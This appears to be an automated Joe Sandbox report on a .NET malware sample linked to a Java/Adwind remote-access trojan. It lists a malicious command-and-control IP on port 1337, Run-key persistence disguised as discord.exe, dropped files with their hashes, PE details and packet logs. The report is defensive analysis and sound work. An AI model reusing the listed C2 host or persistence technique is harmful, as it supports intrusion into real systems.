http://www.jiyu-kobo.co.jp/jp/o	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadisglobal.com/cps	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.94.99.119D8	S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cn	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324091059.0000000006323000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl3#?	javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers#	S3zoj9Uts0.exe, 00000000.00000003.328716911.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333786625.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333770966.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333800108.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	S3zoj9Uts0.exe, 00000000.00000003.329046284.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comce	S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.138.232	canary.discord.com	United States	13335	CLOUDFLARENETUS	false
23.94.99.119	unknown	United States	36352	AS-COLOCROSSINGUS	true
162.159.135.232	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	798180
Start date and time:	2023-02-03 20:39:01 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	S3zoj9Uts0.exe
Detection:	MAL
Classification:	mal100.winEXE@12/3@3/4
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 18 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Execution Graph export aborted for target javaw.exe, PID 3372 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:40:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Discord C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe
20:40:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Discord C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
162.159.138.232	MV TBN CALL PORT FOR LOADING COAL_pdf.exe	Get hash	malicious	Browse
	Invoice-81276.pdf.exe	Get hash	malicious	Browse
	ORIGINAL_BL_INVOICE_PL_.exe	Get hash	malicious	Browse
	3bRSL6ViWV.exe	Get hash	malicious	Browse
	QUOTATION#012523.exe	Get hash	malicious	Browse
	main.exe	Get hash	malicious	Browse
	KPCPU-231.exe	Get hash	malicious	Browse
	JzCtXNHXQe.exe	Get hash	malicious	Browse
	e-dekont20230119.exe	Get hash	malicious	Browse
	f0pl993Jlv.exe	Get hash	malicious	Browse
	swift_AAT_C20032244_17-01-2023.exe	Get hash	malicious	Browse
	AhbLc42WlU.exe	Get hash	malicious	Browse
	WanHI08oNK.exe	Get hash	malicious	Browse
	COjMVporx6.exe	Get hash	malicious	Browse
	downloader.exe	Get hash	malicious	Browse
	Madinat Jumeirah Living Asayel 14782(480).exe	Get hash	malicious	Browse
	3rOyn65rNd.exe	Get hash	malicious	Browse
	sqDruYnFuz.exe	Get hash	malicious	Browse
	EjCC27Oq4M.exe	Get hash	malicious	Browse
	Minercart.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
canary.discord.com	12057ad2.exe	Get hash	malicious	Browse	162.159.138.232
	build (2).exe	Get hash	malicious	Browse	162.159.136.232
	Evo_Spoofer_V2.exe	Get hash	malicious	Browse	162.159.135.232
	qgMcnt4meR.exe	Get hash	malicious	Browse	162.159.128.233
	04A31AE8A31BB4144D7392040442F4A38E8301CC55012.exe	Get hash	malicious	Browse	162.159.136.232
	vrG0FGHo9i.exe	Get hash	malicious	Browse	162.159.138.232
	DsGo26G94d.exe	Get hash	malicious	Browse	162.159.138.232
	E3yRg4ob8v.exe	Get hash	malicious	Browse	162.159.138.232
	iBRa3vP0WB.exe	Get hash	malicious	Browse	162.159.137.232
	6ZA1oFKiR8.exe	Get hash	malicious	Browse	162.159.138.232
	duEkTVseyk.exe	Get hash	malicious	Browse	162.159.128.233
	PMb1MdlBGB.exe	Get hash	malicious	Browse	162.159.128.233
	5fmulGfQ2b.exe	Get hash	malicious	Browse	162.159.137.232
	nUBTIa1WRr.exe	Get hash	malicious	Browse	162.159.137.232
	Pw4sv8JMgF.exe	Get hash	malicious	Browse	162.159.135.232
	4G6DrDxQk5.exe	Get hash	malicious	Browse	162.159.136.232
	oilQDAuiBH.exe	Get hash	malicious	Browse	162.159.128.233
	48aITmz4vp.exe	Get hash	malicious	Browse	162.159.137.232
	kEtjx4XwPd.exe	Get hash	malicious	Browse	162.159.138.232
	TIJYYlYJpv.exe	Get hash	malicious	Browse	162.159.138.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	Q5GN0fA8VQ.elf	Get hash	malicious	Browse	188.114.96.94
	https://ipfs.io/ipfs/QmV5gNiwiin4C1wgqoymu9yvip9d74JSgsMtNSUasA9RgM?filename=g45-0gjr-w9hgn-w9djvgf-ethg-w9jgnf-9e3whrg-9j-9jff.html	Get hash	malicious	Browse	104.18.10.207
	BJF4s7vOG9.exe	Get hash	malicious	Browse	188.114.96.3
	mXLu3mpemv.elf	Get hash	malicious	Browse	172.68.237.107
	https://ipfs.io/ipfs/bafkreihy36r32y5p6hxym7q7ocxusf4syhsbyhbz77rtvz7xdsfs6crnrm/#colin.pewarchuk@nfigroup.com	Get hash	malicious	Browse	172.67.74.213
	2023-Hinckleyallen-Financial Report.html	Get hash	malicious	Browse	104.17.25.14
	2023-Hinckleyallen-Financial Report.html	Get hash	malicious	Browse	104.17.24.14
	https://docuspropls.durable.co	Get hash	malicious	Browse	104.17.25.14
	file.exe	Get hash	malicious	Browse	188.114.96.3
	bJyw.exe	Get hash	malicious	Browse	104.20.67.143
	INVOICE_(Q322) ready for review JAN 31 2023 1000AM.htm	Get hash	malicious	Browse	104.18.28.91
	file.exe	Get hash	malicious	Browse	188.114.96.3
	FOB Shenzhen price for its MOQ.scr.exe	Get hash	malicious	Browse	104.21.64.20
	https://webforms.ebizcharge.net/EBizSecureForm.aspx?pid=ecdf3fe8-6f71-448f-b913-169e94f58de6	Get hash	malicious	Browse	172.67.38.66
	https://ipfs.io/ipfs/QmbugYFxQci7be4Trg2Ty2gTWeLRcnoP1gY6EicXTbG4Jd?filename=auto.html#Acarlson@drinkbodyarmor.com	Get hash	malicious	Browse	104.18.10.207
	https://sourceforge.net/projects/processhacker/files/processhacker2/processhacker-2.39-setup.exe/download	Get hash	malicious	Browse	104.26.7.139
	new_order_quotation_030022023000000000000000_PDF.exe	Get hash	malicious	Browse	104.21.58.223
	shipping document.exe	Get hash	malicious	Browse	172.67.202.57
	Benefits_Enrollment.htm	Get hash	malicious	Browse	104.18.10.207
	https://compassgrp.durable.co	Get hash	malicious	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://ipfs.io/ipfs/QmV5gNiwiin4C1wgqoymu9yvip9d74JSgsMtNSUasA9RgM?filename=g45-0gjr-w9hgn-w9djvgf-ethg-w9jgnf-9e3whrg-9j-9jff.html	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	file.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	file.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	file.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	XBrRZqGsEO.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	Fatura_8486472023.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	CV.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	Msconcepts22..........pdf.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	RFQ ORDER-T2190-CVE97.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	Msconcepts.............PDF.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	kIZkIsqBSq.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	AWB NO. 8148557141.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	2rOFsW8MAO.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	New Order.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	USD 46947,6 20230101162552.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	SecuriteInfo.com.Win32.PWSX-gen.23219.24986.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	e-dekont-20230127.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	PO-1012023.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	NEW PO.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232
	DOC.exe	Get hash	malicious	Browse	162.159.138.232 162.159.135.232

Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.959654268360928
Encrypted:	false
SSDEEP:	3:oFj4I5vpN6yUe5WXGWn:oJ5X6y/WFn
MD5:	48D10D11F1787C80AADF2E0043214DDC
SHA1:	F2202BA0791E73919884DD3E0166BC1BA2C7C942
SHA-256:	B924E5CDAF328D4B9D3EEAF9EEEAC941A2ABAA677FA36CC78975610679FCB4E1
SHA-512:	570D337FD219AA2740202747BA906B6647B49959636586D2D389CE2E14FED3A834E0895B03C0AC58B6E77E7129603AC7D916F3BE5DA549D73B4E1B93997F38A8
Malicious:	false
Preview:	C:\Program Files (x86)\Java\jre1.8.0_211..1675453223679..

C:\Users\user\AppData\Local\Temp\jarva.jar

Download File

Process:	C:\Users\user\Desktop\S3zoj9Uts0.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	655029
Entropy (8bit):	7.961141310029578
Encrypted:	false
SSDEEP:	12288:pfl6Qk/o6QPy74HygORXgg/FRv+xM2NiRxgEhyR6b3Wu42ZcSvHDss:pf0QAAPm4SrXgg/S9iROmDWu1ZfvHDss
MD5:	1B43933EF9FF4C07BD28E0A2466E9028
SHA1:	B2371764235AED9407E6720DF619616F5FA5FBEB
SHA-256:	0DFE638F3FFDFD9729EB8C03E033D56B3D0BA20860D06EE18BE1EB82537F0D5D
SHA-512:	12BC6853D94B905EADA99D51CEA6F2B4D91F00B3E96E96057608C2FB102C0D8EF215C8666594B1D041DF2629227A284414A11AAE650C32E3451FB96BEB445F66
Malicious:	false
Preview:	PK..........9V............D...IlIIlLllI/lllIlIlIlll/IIlllllIlIIl/lIlIlIIllI/IIllIllllIIlIIII.class.<.@.G.......[.YPDD...x..D.....VD.....J.XcL.11....D...K.&.$...)........B.....x.v...k....9....>BH.A..@[..V.U^n.+G......(d..<N+..:..'..f3..#....q....q#..,.5..RZ.f..-.qd@.Er..hd.9.c.i5..8!..;......V....d8..`rp....f.....!"r....j5m.n..I.p..Z^PS...Z.d[d.2...Z..lC....dUM../GB..Q.............jK++...G......-.U..\D{..q....$....V....f&...Ix"Cq../B....82.b..f..r..H:...w.N.#..b.\|......e...&.I..b"..+.Y.gF.#...E.......pmm..Bw..E.H..8a.vq+A.$.#..-.$.#..........\|3.I.H,......k.3..v..L...Z./G::.V..(..q.E..$...].....b.iv.;&..HOW.h...t.7.d..l...)1.7.N;z0..f..H.e......z...=B.F....U(.P.n"id.G.[<2.l.UXYQ[PZQ.YT..).....3I... # #...&..Z........S..(2.D....}:..5....o.v{]6.....Cg..9.A..i...>.+....).$.L0a.MDyk..=......d2..;.\|;..!'....y;..^.t....#a.On.G...V...d.mK.L...2.../-Fo...............=.<.._.7..?6..G.@L......g`'......)....). ..UwQ..B..#..P=..f.................7Fr%j.G.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Download File

Process:	C:\Users\user\Desktop\S3zoj9Uts0.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	3.8570021095495353
Encrypted:	false
SSDEEP:	384:bUpQt9rSl/xAaKRgJ6SoIrkvwKwq6u/oB:bBt9rwdCAt
MD5:	94CCB92B775297F357670ABD1E6F754B
SHA1:	50A9D6F7828C193C965FF9C5DF8BC290B06122A8
SHA-256:	A4C3028EDDEA3F36439B4B4ABA7C1511F7B39DD0A92F38A282968D259D8E3286
SHA-512:	A324DB4CB3027AD032096C429832955741DED336585F952B6C6FCB15C781CEAA25307981CF3A2708B2E4DC55610D7B487E492490BC08524EF2ACB5ADE6CFB34A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{i............"...0..n..........~.... ........@.. ....................................`....................................O.......................................8............................................ ............... ..H............text....l... ...n.................. ..`.rsrc................p..............@..@.reloc...............v..............@..B................^.......H........)..............hF..0E..........................................&.(.........0..9........~.........,".r...p.....(....o....s............~.....+......0...........~.....+.."........0...........~.....+..".(.....Vs....(....t............}.....(.......(......{....%o ...r;..p(!...o"..........ru..p(#...&.{....%o ...($...r...p(%...o"......r...p(#...&.{....%o ...($...r...p(%...o"......&..(&.........0..+.........,..{.......+....,...{....o'.......((....*..0..........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.8570021095495353
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	S3zoj9Uts0.exe
File size:	30720
MD5:	94ccb92b775297f357670abd1e6f754b
SHA1:	50a9d6f7828c193c965ff9c5df8bc290b06122a8
SHA256:	a4c3028eddea3f36439b4b4aba7c1511f7b39dd0a92f38a282968d259d8e3286
SHA512:	a324db4cb3027ad032096c429832955741ded336585f952b6c6fcb15c781ceaa25307981cf3a2708b2e4dc55610d7b487e492490bc08524ef2acb5ade6cfb34a
SSDEEP:	384:bUpQt9rSl/xAaKRgJ6SoIrkvwKwq6u/oB:bBt9rwdCAt
TLSH:	65D2B61337BC8726E57527B95CA2C2800F75AE276854FE5F68C530BE1EF27008652B6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{i............"...0..n..........~.... ........@.. ....................................`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x408c7e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD901697B [Tue May 15 07:00:11 2085 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8c2a	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8b98	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6c84	0x6e00	False	0.23980823863636364	data	3.845469484279824	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x5d4	0x600	False	0.4329427083333333	data	4.173971589658777	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	False	0.044921875	data	0.07763316234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xa090	0x344	data
RT_MANIFEST	0xa3e4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.423.94.99.1194969813372853044 02/03/23-20:40:09.381307	TCP	2853044	ETPRO TROJAN Java/Adwind Variant CnC Activity	49698	1337	192.168.2.4	23.94.99.119

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 3, 2023 20:39:59.012223959 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.145278931 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.145379066 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.146704912 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.274133921 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274185896 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274229050 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274260044 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274290085 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274317980 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274337053 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.274349928 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274380922 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274410009 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274418116 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.274441004 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.274458885 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.274486065 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398401976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398453951 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398488045 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398516893 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398547888 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398550987 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398576021 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398581028 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398611069 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398621082 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398641109 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398672104 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398674011 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398726940 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398761034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398772001 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398794889 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398824930 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398830891 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.398858070 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398884058 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.398891926 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.442565918 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.571712971 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571755886 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571784019 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571808100 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571831942 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571855068 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571866035 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.571877956 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571902037 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571908951 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.571923971 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571947098 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571969032 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.571983099 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.571991920 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572017908 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572041035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572041988 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572041988 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572062016 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572082996 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572086096 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572109938 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572124958 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572132111 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572154999 CET	80	49696	23.94.99.119	192.168.2.4
